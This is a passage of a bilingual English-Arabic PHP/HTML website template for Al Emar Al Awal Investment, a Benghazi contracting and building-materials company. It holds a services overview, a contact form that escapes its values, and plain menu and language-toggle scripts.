                <span class="en">Al Emar Al Awal Investment</span>
                <span class="ar hidden">الإعمار الأول للاستثمار</span>
            </div>
            <button class="menu-toggle" type="button" aria-label="Toggle navigation menu" aria-expanded="false" aria-controls="site-menu" onclick="toggleMenu()">☰</button>
            <nav id="site-menu">
                <a href="#home" class="en">Home</a>
                <a href="#home" class="ar hidden">الرئيسية</a>
                
                <a href="#about" class="en">About</a>
                <a href="#about" class="ar hidden">من نحن</a>
                
                <a href="#services" class="en">Services</a>
                <a href="#services" class="ar hidden">خدماتنا</a>
                
                <a href="#vision-mission" class="en">Vision & Mission</a>
                <a href="#vision-mission" class="ar hidden">الرؤية والرسالة</a>
                
                <a href="#contact" class="en">Contact</a>
                <a href="#contact" class="ar hidden">اتصل بنا</a>
                
                <button class="language-toggle" onclick="toggleLanguage()">
                    <span class="en">العربية</span>
                    <span class="ar hidden">English</span>
                </button>
            </nav>
        </div>
    </header>

<section class="hero" id="home">
        <div class="hero-content">
            <h1 class="en">Building Excellence in Libya</h1>
            <h1 class="ar hidden">بناء التميز في ليبيا</h1>
            
            <p class="en">General Contracting & Building Materials Manufacturing</p>
            <p class="ar hidden">المقاولات العامة وتصنيع مواد البناء</p>
            
            <a href="#contact" class="cta-button">
                <span class="en">Get in Touch</span>
                <span class="ar hidden">اتصل بنا الآن</span>
            </a>
        </div>
    </section>

<section class="about" id="about">
        <div class="about-content">
            <div class="about-image">
                <div class="about-image-content">
                    <div>🏢</div>
                    <div style="font-size: 1rem; margin-top: 1rem; opacity: 0.9;">
                        <span class="en">Al Emar Al Awal Investment</span>
                        <span class="ar hidden">الإعمار الأول للاستثمار</span>
                    </div>
                </div>
            </div>
            <div class="about-text">
                <h3 class="en">About Al Emar Al Awal Investment</h3>
                <h3 class="ar hidden">عن الإعمار الأول للاستثمار</h3>
                
                <p class="en">
                    Al Emar Al Awal Investment is a Benghazi-based company specialized in general contracting, building materials manufacturing, and concrete product production. We serve the construction and urban development sector by delivering reliable solutions and high-quality products that meet the needs of residential, commercial, and industrial projects.
                </p>
                <p class="ar hidden">
                    الإعمار الأول للاستثمار شركة مقرها بنغازي، ليبيا، متخصصة في المقاولات العامة، وتصنيع مواد البناء، وتصنيع المنتجات الخرسانية. نعمل على تقديم حلول موثوقة ومنتجات عالية الجودة تلبي احتياجات المشاريع السكنية والتجارية والصناعية.
                </p>

<p class="en">
                    The company is committed to supporting the Libyan market through construction services and the production of essential building materials, including blocks, concrete flooring, and various cement and concrete products. We believe that quality, commitment, and operational efficiency are the foundation of sustainable success in the construction sector.
                </p>
                <p class="ar hidden">
                    تسعى الشركة إلى دعم السوق الليبي من خلال خدمات المقاولات وتوفير منتجات أساسية ذات جودة عالية، تشمل البلوك، والأرضيات الخرسانية، والمنتجات الإسمنتية والخرسانية المختلفة. ونؤمن بأن النجاح يقوم على الجودة والالتزام والكفاءة.
                </p>
            </div>
        </div>
    </section>

<section class="services" id="services">
        <div class="container">
            <div class="section-header">
                <h2 class="en">Our Services</h2>
                <h2 class="ar hidden">خدماتنا</h2>
                <p class="section-subtitle en">Comprehensive solutions tailored to your construction needs</p>
                <p class="section-subtitle ar hidden">حلول شاملة مصممة لتلبية احتياجات مشاريعك الإنشائية</p>
            </div>

<div class="services-grid">
                
                <div class="service-card">
                    <div class="service-icon">🏗️</div>
                    <h3 class="en">General Contracting</h3>
                    <h3 class="ar hidden">المقاولات العامة</h3>
                    <p class="en">Professional construction execution for residential, commercial, and industrial projects with commitment to quality and timely delivery.</p>
                    <p class="ar hidden">تنفيذ احترافي للأعمال الإنشائية بجودة عالية والتزام بالمواعيد.</p>
                </div>

<div class="service-card">
                    <div class="service-icon">🧱</div>
                    <h3 class="en">Block Manufacturing</h3>
                    <h3 class="ar hidden">تصنيع البلوك</h3>
                    <p class="en">High-quality concrete blocks manufactured with precision, meeting all construction standards and specifications.</p>
                    <p class="ar hidden">بلوك خرساني عالي الجودة مصنوع بدقة ويلبي جميع معايير البناء.</p>
                </div>

<div class="service-card">
                    <div class="service-icon">🏢</div>
                    <h3 class="en">Building Materials Supply</h3>
                    <h3 class="ar hidden">توريد مواد البناء</h3>
                    <p class="en">Reliable supply of essential building materials to meet project requirements and market demands efficiently.</p>
                    <p class="ar hidden">توريد موثوق لمواد البناء الأساسية بكفاءة وموثوقية عالية.</p>
                </div>

<div class="service-card">
                    <div class="service-icon">🏭</div>
                    <h3 class="en">Concrete Flooring Production</h3>
                    <h3 class="ar hidden">تصنيع الأرضيات الخرسانية</h3>
                    <p class="en">Durable and versatile concrete flooring solutions suitable for multiple applications and environments.</p>
                    <p class="ar hidden">أرضيات خرسانية متينة وعملية تناسب الاستخدامات المتعددة.</p>
                </div>

<div class="service-card">
                    <div class="service-icon">⚙️</div>
                    <h3 class="en">Cement & Concrete Products</h3>
                    <h3 class="ar hidden">المنتجات الإسمنتية والخرسانية</h3>
                    <p class="en">Comprehensive range of quality cement and concrete products designed for various construction applications.</p>
                    <p class="ar hidden">مجموعة شاملة من المنتجات الإسمنتية والخرسانية لتطبيقات البناء المختلفة.</p>
                </div>

<div class="service-card">
                    <div class="service-icon">📋</div>
                    <h3 class="en">Project Management</h3>
                    <h3 class="ar hidden">إدارة المشاريع</h3>
                    <p class="en">Expert project oversight from planning through execution, ensuring efficiency, quality, and deadline compliance.</p>
                    <p class="ar hidden">إشراف احترافي على المشاريع من التخطيط حتى التنفيذ بكفاءة وجودة.</p>
                </div>
            </div>
        </div>
    </section>

<section class="vision-mission" id="vision-mission">
        <div class="container">
            <div class="section-header">
                <h2 class="en">Our Vision & Mission</h2>
                <h2 class="ar hidden">رؤيتنا ورسالتنا</h2>
            </div>

<div class="vm-container">
                
                <div class="vm-card">
                    <h3>
                        <div class="vm-icon">🎯</div>
                        <span class="en">Vision</span>
                        <span class="ar hidden">الرؤية</span>
                    </h3>
                    <p class="en">
                        To become a leading company in Libya in contracting and building materials manufacturing, recognized for quality, reliability, and contribution to sustainable urban development that strengthens our communities and economy.
                    </p>
                    <p class="ar hidden">
                        أن نكون من الشركات الرائدة في ليبيا في المقاولات وتصنيع مواد البناء، وأن نتميز بالجودة والموثوقية والمساهمة في التنمية العمرانية المستدامة.
                    </p>
                </div>

<div class="vm-card">
                    <h3>
                        <div class="vm-icon">💡</div>
                        <span class="en">Mission</span>
                        <span class="ar hidden">الرسالة</span>
                    </h3>
                    <p class="en">
                        To provide integrated solutions in contracting and building materials manufacturing through quality, efficiency, and commitment, while supporting strong and sustainable projects that serve the development of Libya.
                    </p>
                    <p class="ar hidden">
                        تقديم حلول متكاملة في المقاولات وتصنيع مواد البناء بجودة وكفاءة والتزام، بما يدعم مشاريع قوية ومستدامة تخدم تنمية ليبيا.
                    </p>
                </div>
            </div>
        </div>
    </section>

<section class="contact" id="contact">
        <div class="container">
            <div class="section-header">
                <h2 class="en">Contact Us</h2>
                <h2 class="ar hidden">اتصل بنا</h2>
                <p class="section-subtitle en">We'd love to hear from you. Reach out and let's discuss your project.</p>
                <p class="section-subtitle ar hidden">نود أن نسمع منك. تواصل معنا ودعنا نناقش مشروعك.</p>
            </div>

<?php if ($form_submitted): ?>
                <?php if ($form_success): ?>
                    <div class="alert alert-success">
                        <span class="alert-icon">✓</span>
                        <div>
                            <strong class="en">Success!</strong>
                            <strong class="ar hidden">نجح!</strong>
                            <span class="en"> <?php echo htmlspecialchars($form_message); ?></span>
                            <span class="ar hidden"> تم إرسال رسالتك بنجاح! سنتواصل معك قريباً.</span>
                        </div>
                    </div>
                <?php else: ?>
                    <div class="alert alert-error">
                        <span class="alert-icon">✕</span>
                        <div>
                            <strong class="en">Error!</strong>
                            <strong class="ar hidden">خطأ!</strong>
                            <span class="en"> <?php echo htmlspecialchars($form_error); ?></span>
                            <span class="ar hidden"> حدث خطأ. يرجى التحقق من البيانات والمحاولة مرة أخرى.</span>
                        </div>
                    </div>
                <?php endif; ?>
            <?php endif; ?>

<div class="contact-content">
                
                <div class="contact-info">
                    
                    <div class="contact-item">
                        <div class="contact-icon">📞</div>
                        <div>
                            <h4 class="en">Phone</h4>
                            <h4 class="ar hidden">الهاتف</h4>
                            <p><a href="tel:+218912090275">+218 91 209 0275</a></p>
                        </div>
                    </div>

<div class="contact-item">
                        <div class="contact-icon">✉️</div>
                        <div>
                            <h4 class="en">Email</h4>
                            <h4 class="ar hidden">البريد الإلكتروني</h4>
                            <p><a href="mailto:info@aleamaralawal.com">info@aleamaralawal.com</a></p>
                        </div>
                    </div>

<div class="contact-item">
                        <div class="contact-icon">📍</div>
                        <div>
                            <h4 class="en">Address</h4>
                            <h4 class="ar hidden">العنوان</h4>
                            <p class="en">Benghazi, Libya</p>
                            <p class="ar hidden">بنغازي، ليبيا</p>
                        </div>
                    </div>

<div class="contact-item">
                        <div class="contact-icon">🕐</div>
                        <div>
                            <h4 class="en">Business Hours</h4>
                            <h4 class="ar hidden">ساعات العمل</h4>
                            <p class="en">Saturday - Thursday: 9:00 AM - 5:00 PM<br>Friday: Closed</p>
                            <p class="ar hidden">السبت - الخميس: 9:00 صباحًا - 5:00 مساءً<br>الجمعة: مغلق</p>
                        </div>
                    </div>
                </div>

<form class="contact-form" method="POST" action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>">
                    <div class="form-group">
                        <label for="name" class="en">Full Name</label>
                        <label for="name" class="ar hidden">الاسم الكامل</label>
                        <input type="text" id="name" name="name" required value="<?php echo htmlspecialchars($name ?? ''); ?>">
                    </div>

<div class="form-group">
                        <label for="email" class="en">Email Address</label>
                        <label for="email" class="ar hidden">البريد الإلكتروني</label>
                        <input type="email" id="email" name="email" required value="<?php echo htmlspecialchars($email ?? ''); ?>">
                    </div>

<div class="form-group">
                        <label for="phone" class="en">Phone Number</label>
                        <label for="phone" class="ar hidden">رقم الهاتف</label>
                        <input type="tel" id="phone" name="phone" value="<?php echo htmlspecialchars($phone ?? ''); ?>">
                    </div>

<div class="form-group">
                        <label for="subject" class="en">Subject</label>
                        <label for="subject" class="ar hidden">الموضوع</label>
                        <input type="text" id="subject" name="subject" required value="<?php echo htmlspecialchars($subject ?? ''); ?>">
                    </div>

<div class="form-group">
                        <label for="message" class="en">Message</label>
                        <label for="message" class="ar hidden">الرسالة</label>
                        <textarea id="message" name="message" required><?php echo htmlspecialchars($message ?? ''); ?></textarea>
                    </div>

<button type="submit" class="submit-button">
                        <span class="en">Send Message</span>
                        <span class="ar hidden">إرسال الرسالة</span>
                    </button>
                </form>
            </div>
        </div>
    </section>

<footer>
        <div class="container">
            <p class="en">&copy; 2026 Al Emar Al Awal Investment. All rights reserved.</p>
            <p class="ar hidden">&copy; 2026 الإعمار الأول للاستثمار. جميع الحقوق محفوظة.</p>
            <p style="margin-top: 1rem; font-size: 0.9rem;">
                <span class="en">Benghazi, Libya | Building Excellence Since Inception</span>
                <span class="ar hidden">بنغازي، ليبيا | بناء التميز منذ البداية</span>
            </p>
        </div>
    </footer>

function closeMenu() {
            if (!navMenu || !menuToggleButton) return;
            navMenu.classList.remove('menu-open');
            menuToggleButton.setAttribute('aria-expanded', 'false');
            menuToggleButton.innerHTML = '☰';
        }

function toggleMenu() {
            if (!navMenu || !menuToggleButton) return;
            const isOpen = navMenu.classList.toggle('menu-open');
            menuToggleButton.setAttribute('aria-expanded', isOpen ? 'true' : 'false');
            menuToggleButton.innerHTML = isOpen ? '✕' : '☰';
        }

// Language Toggle Functionality
        function toggleLanguage() {
            const html = document.documentElement;
            const currentLang = html.lang;
            
            if (currentLang === 'en') {
                html.lang = 'ar';
                html.setAttribute('dir', 'rtl');
            } else {
                html.lang = 'en';
                html.setAttribute('dir', 'ltr');
            }
            
            // Toggle visibility of language-specific content
            document.querySelectorAll('.en, .ar').forEach(el => {
                el.classList.toggle('hidden');
            });
        }

// Smooth scrolling for navigation links
        document.querySelectorAll('a[href^="#"]').forEach(anchor => {
            anchor.addEventListener('click', function (e) {
                e.preventDefault();
                const target = document.querySelector(this.getAttribute('href'));
                if (target) {
                    target.scrollIntoView({ behavior: 'smooth' });
                    closeMenu();
                }
            });
        });

window.addEventListener('resize', () => {
            if (window.innerWidth > 768) {
                closeMenu();
            }
        });

document.addEventListener('click', (event) => {
            if (!navMenu || !menuToggleButton) return;
            if (window.innerWidth > 768) return;
            if (!navMenu.contains(event.target) && !menuToggleButton.contains(event.target)) {
                closeMenu();
            }
        });

// Auto-hide success message after 5 seconds
        const successAlert = document.querySelector('.alert-success');
        if (successAlert) {
            setTimeout(() => {
                successAlert.style.display = 'none';
            }, 5000);
        }
    </script>
</body>
</html>

cmd: